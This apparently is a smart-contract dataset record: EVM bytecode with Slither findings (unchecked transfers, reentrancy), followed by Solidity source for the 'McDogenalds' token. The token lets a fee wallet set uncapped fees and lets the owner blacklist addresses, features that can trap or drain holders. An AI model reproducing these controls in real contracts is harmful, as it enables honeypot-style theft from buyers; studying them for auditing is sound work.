565b151561137057600080fd5b6004544211151561138057600080fd5b600b60159054906101000a900460ff1615151561139c57600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115156113ed57600080fd5b6002808111156113f957fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561145457fe5b1415151561146157600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156114bd57600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506001600281111561151c57fe5b81600281111561152857fe5b141561161757611588601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154612d7390919063ffffffff16565b600c600001819055506115eb601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154612d7390919063ffffffff16565b600c6001018190555061160d6001600c60020154612d7390919063ffffffff16565b600c600201819055505b6002601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561167657fe5b02179055506116d5601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154610e3190919063ffffffff16565b600f60000181905550611738601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154610e3190919063ffffffff16565b600f6001018190555061175a6001600f60020154610e3190919063ffffffff16565b600f600201819055508173ffffffffffffffffffffffffffffffffffffffff167f2f084871debfd65be4dab8a8cb7ce7b3d2694c8de1cb6c49b3ef67efead3bae0826002604051808360028111156117ae57fe5b60ff1681526020018260028111156117c257fe5b60ff1681526020019250505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061180b3361291c565b151561181657600080fd5b6004544211151561182657600080fd5b600b60159054906101000a900460ff1615151561184257600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411151561189357600080fd5b600160028111156118a057fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660028111156118fb57fe5b1415151561190857600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615151561196457600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506002808111156119c257fe5b8160028111156119ce57fe5b1415611abd57611a2e601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154612d7390919063ffffffff16565b600f60000181905550611a91601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154612d7390919063ffffffff16565b600f60010181905550611ab36001600f60020154612d7390919063ffffffff16565b600f600201819055505b6001601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690836002811115611b1c57fe5b0217905550611b7b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154610e3190919063ffffffff16565b600c60000181905550611bde601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154610e3190919063ffffffff16565b600c60010181905550611c006001600c60020154610e3190919063ffffffff16565b600c600201819055508173ffffffffffffffffffffffffffffffffffffffff167f2f084871debfd65be4dab8a8cb7ce7b3d2694c8de1cb6c49b3ef67efead3bae082600160405180836002811115611c5457fe5b60ff168152602001826002811115611c6857fe5b60ff1681526020019250505060405180910390a25050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611d1f57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb9d0640e2e3344df282774dc44aa75a92a82ed65bde71b2709d7204f84ac45a260405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611df042611deb6007603c610e4a565b610e31565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e34600754600854612d73565b905090565b600c8060000154908060010154908060020154905083565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b611e933361291c565b1515611e9e57600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f6b57600080fd5b6102c65a03f11515611f7c57600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167f016e3a850a4f06be16aa0dac4a8c27d00e2faa8d29885100060689b83e9eb161826040518082815260200191505060405180910390a250565b60055481565b60006004544211151561200257611fff611ffa60045442612d73565b612d8c565b90505b90565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156120cc57600080fd5b6102c65a03f115156120dd57600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214957600080fd5b61215282612b8a565b151561215d57600080fd5b6000600361216a84612da0565b81548110151561217657fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f20ae3218a3a98f7a99bbd57af90761b7381c8f619711d6ea8957307b8187bb8960405160405180910390a260019050919050565b60095481565b600b60149054906101000a900460ff1681565b60128060000154908060010154908060020154905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156122f757600080fd5b6002544211151561230757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff7a7c6dfc945c251279bd8e18228204503dce1aefd05229cc80ebc48057d649a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b6124583361291c565b151561246357600080fd5b6004544211151561247357600080fd5b600b60159054906101000a900460ff1615151561248f57600080fd5b600b60149054906101000a900460ff1615156124aa57600080fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115156124fb57600080fd5b6001600281111561250857fe5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561256357fe5b14151561256f57600080fd5b601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156125cb57600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156126da57600080fd5b6102c65a03f115156126eb57600080fd5b5050506040518051905050612750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601260000154610e3190919063ffffffff16565b6012600001819055506127b3601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154601260010154610e3190919063ffffffff16565b6012600101819055506127d56001601260020154610e3190919063ffffffff16565b6012600201819055506001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fee5144fa00b4290a3184a6958758977b110f22931c77d2d8442737ceafac5a4a601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546040518082815260200191505060405180910390a250565b60075481565b60166020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030160009054906101000a900460ff16905084565b600061292782612b8a565b8061297e57508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b61298e3361291c565b151561299957600080fd5b60006006541180156129af575060075460065411155b15156129ba57600080fd5b6000600754118015612aad5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612a8c57600080fd5b6102c65a03f11515612a9d57600080fd5b5050506040518051905060075411155b1515612ab857600080fd5b600081111515612ac757600080fd5b6000600554141515612ad857600080fd5b42600581905550612af5600554612af083603c610e4a565b610e31565b6004819055506001600b60156101000a81548160ff0219169083151502179055507f8663dba38ae2149a16af5deb1b7d083abe56672e2fd7945ec8580fbc94c53e8560065460075467016345785d8a00006103e860055460045460405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a150565b600080600090505b600560ff168160ff161015612c26578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612bca57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c1b5760019150612c27565b806001019050612b92565b5b50919050565b600080600090505b600560ff168160ff161015612cca57600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612c6e57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612cbf5760019150612ccb565b806001019050612c35565b5b5090565b600080600090505b600560ff168160ff161015612d6e57600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612d1057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d63578060ff169150612d6f565b806001019050612cd7565b5b5090565b6000828211151515612d8157fe5b818303905092915050565b6000612d9982603c610e78565b9050919050565b600080600090505b600560ff168160ff161015612e3e578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612de057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e33578060ff169150612e3f565b806001019050612da8565b5b509190505600a165627a7a72305820909fe4640164dc5116a064a958cb9db8a92262900eed1319814956220425c7400029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
237
0xCE103A6939a87d535657e56854207F59c9B14BB5
/** ..,,;<<>>;,. .;!!!!!!!!!!!!!!!;;!!!!!!!!>;;. .;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>; .;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!> <!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!; ;!!!!!!!!!!!!!!!!!!!!!!!!!!'!!!!!!!!!!!!!!!!!!!!. <!!!!!!!!!!!!!!!!!!!!!!!!'` `''!!!!!!!!!!!!!!!!!!!; <!!!!!!!!!!!!!!!!!!!!!!!!' uc. `''!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!'' z$$$$$beu `'!!!!!!!!!!!!!!!! :!!!!!!!!!!!!!!''` .,=n$$$$$$$$$$$$P==._`'!!!!!!!!!!!!! '!!!!!!!!!!!!` zdP" "$$$$$$$ .. `. `!!!!!!!!!!!> !!!!!!!!!!!!: J$F zd$$$bee$$$$$$ ,$$$$c ; !!!!!!!!!!> ;!!!!!!!!!!!!!! Jbu$$$$$$$$$$$$$$$$$$$$$$$$$$L :!!!!!!!!!!' ;!!!!!!!!!!!!!!!! d$$$$$$?????$$$$$$$$$???$$$$$$ !!!!!!!!!! .!!!!!!!!!!!!!!!!! $$$$$F z+c.`?$$$$$$ ...`?$$$k `!!!!!!!!! !!!!!!!!!!!!!!!!!! d$$$$ ` 3$$$$L.- 3$$$ '!!!!!!!!!> `!!!!!!!!!!!!!!!! d$$$$$bec .ed$$$$$$bc. .e$$$$ :!!!!!!!!!! `!!!!!!!!!!!!!!' z$$$$$$$$$be$$$$$P" `"?$$b,$$$$$F <!!!!!!!!!! !!!!!!!!!!!!!! J$$$$$$$$$$$$$$$F .e$$e. ?$$$$$$$$ !!!!!!!!!! `!!!!!!!!!!!' $$$$$$$$$$$$$$$$c ` d$$$$$$$$ `!!!!!!!!! `!!!!!!!!! '$$$$$$$$" `?$$$$$$$$$$$$$$$P"?$$$b !!!!!!!' `'!!!!!!!; $$$$$$$" """""""""""" "$$P !!!!!! ```!!!!!> $$$$$$$. . . ...... $$P !!!'' `'!!!!! 3$$$$$$$. " """""" d$$ ;!' ``'' $$$$$$$$b -=== .d$$$ "$$$$$$$$c d$$$" ..zdc $$$$$$$$$b. d$$$ .d$$""?$ 4$$$$$$$$$$c. .d$$$" .,d$$$$u d$$$P"?$$$$$$$$buc,,,ce$$$$$ 4. .zd$$$$$$$$b. `?$$$c,.`"?$$$$$$$$$$$$$$P" `?b. .,d$$$$$$$$$$$$$$bu `?$$$$$bc,. `"????????" J$$. .zd$$$$$$$$$$$$$$$$$$$$$b,. `?$$$$$$$$$eeccuzee$$$F ,d$$$$u ?$$$$$$$$$$$$$$$$$$$$$$$$$bu. `?$$$$$$$$$$$$$P" ,zd$$$$$$$$b. . ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `""??????" .ed$$$$$$$$$$$$$$u .. :. ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$b. :: .d$$$$$$$$$$$$$$$$$$$b`:::... ::.`$$$$$$$$$$$$$$$$$$$$$$$$$F "$$$b d$$$$$$$$$$$$$$$$$$$$$$ ::::::: :::.`$$$$$$$$$$$$$$$$$$$$$$$" , `"$$ :$PF"'"$$$$$$$$$$$$$$$$$E ::::::: :::: `$$$$$$$$$$$$$$$$$$$$P" nM h. $b.z .nn. ?$$$$$$$$$$$$$$$$F ::::::: ::::: $$$$$$$$$$$$$$$$$$$' dMMh '$$$$$$ MMMM ?$$$$$$$$$$$$$$$F ::::::: */ /** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract McDogenalds is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"McDogenalds Careers"; string private constant _symbol = unicode"MCD"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwapOrLiqProv = false; uint256 private walletLimitDuration; uint256 private _liquidityRatio_e2 = 30; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockSwapAndLiqProv { inSwapOrLiqProv = true; _; inSwapOrLiqProv = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } if(!inSwapOrLiqProv && from != uniswapV2Pair && tradingOpen) { uint256 contractTokenBalance = balanceOf(address(this)); uint256 halfLiquidityRatio_e8 = _liquidityRatio_e2.mul(1e6).div(2); //*1e6 for decimal precision uint256 swapRatio_e8 = uint256(1e8).sub(halfLiquidityRatio_e8); uint256 tokensToSwap = contractTokenBalance.mul(swapRatio_e8).div(1e8); if(tokensToSwap > 0) { if(tokensToSwap > balanceOf(uniswapV2Pair).mul(5).div(100)) { tokensToSwap = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(tokensToSwap); if(halfLiquidityRatio_e8 > 0) { uint256 swappedLiquidityRatio_e8 = halfLiquidityRatio_e8.mul(1e8).div(swapRatio_e8); uint256 tokensForLiquidity = tokensToSwap.mul(swappedLiquidityRatio_e8).div(1e8); uint256 ethForLiquidity = address(this).balance.mul(swappedLiquidityRatio_e8).div(1e8); addLiquidityForEth(tokensForLiquidity, ethForLiquidity); } } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockSwapAndLiqProv { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidityForEth(uint256 tokenAmount, uint256 ethAmount) private lockSwapAndLiqProv { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, _FeeAddress, block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); _taxFee = tax; } function setLiquidityRatio(uint256 ratio) external { require(_msgSender() == _FeeAddress); require(ratio <= 100); _liquidityRatio_e2 = ratio; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
